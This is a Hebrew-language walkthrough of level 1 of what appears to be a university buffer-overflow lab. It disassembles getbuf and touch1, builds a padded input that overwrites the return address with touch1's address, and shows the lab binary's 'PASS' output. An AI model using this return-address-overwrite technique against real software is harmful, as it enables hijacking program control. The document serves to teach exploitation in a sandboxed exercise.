Level 1

- קודם נמצא את גודל הBuffer:

```
1. disas getbuf
```

מחזיר:

```
1. Dump of assembler code for function getbuf:
2.    0x0000000000401781 <+0>:     sub    $0x28,%rsp
3.    0x0000000000401785 <+4>:     mov    %rsp,%rdi
4.    0x0000000000401788 <+7>:     callq  0x4019b9 <Gets>
5.    0x000000000040178d <+12>:    mov    $0x1,%eax
6.    0x0000000000401792 <+17>:    add    $0x28,%rsp
7.    0x0000000000401796 <+21>:    retq
```

נשים לב שהגודל הוא 0x28 שזה 40

אנחנו יודעים שכתובת החזרה נמצאת בסוף הbuffer ולכן נכניס padding של 40 בתים ולאחר מכן נרצה להכניס את הכתובת של touch1.

- נמצא את הכתובת של touch1

```
1. disas tocuh1
```

מחזיר:

```
1. Dump of assembler code for function touch1:
2.    0x0000000000401797 <+0>:     sub    $0x8,%rsp
3.    0x000000000040179b <+4>:     movl   $0x1,0x202d57(%rip)
   # 0x6044fc <vlevel>
4.    0x00000000004017a5 <+14>:    mov    $0x402f27,%edi
5.    0x00000000004017aa <+19>:    callq  0x400c10 <puts@plt>
6.    0x00000000004017af <+24>:    mov    $0x1,%edi
7.    0x00000000004017b4 <+29>:    callq  0x401bac <validate>
8.    0x00000000004017b9 <+34>:    mov    $0x0,%edi
9.    0x00000000004017be <+39>:    callq  0x400da0 <exit@plt>
10.  End of assembler dump.
```

הכתובת של הפונקציה היא 0x401797

ולכן נרצה להכניס את המידע הבא: נשמור בקובץ בשם Input.txt

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 97 17 40
```

נשתמש בpipes כדי להעביר את הקובץ קלט בhex2raw ואז לתוכנית כך:

```
cat input.txt | ./hex2raw | ./ctarget
```

ונקבל את הפלט הבא:

```
Cookie: 0x00000000
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```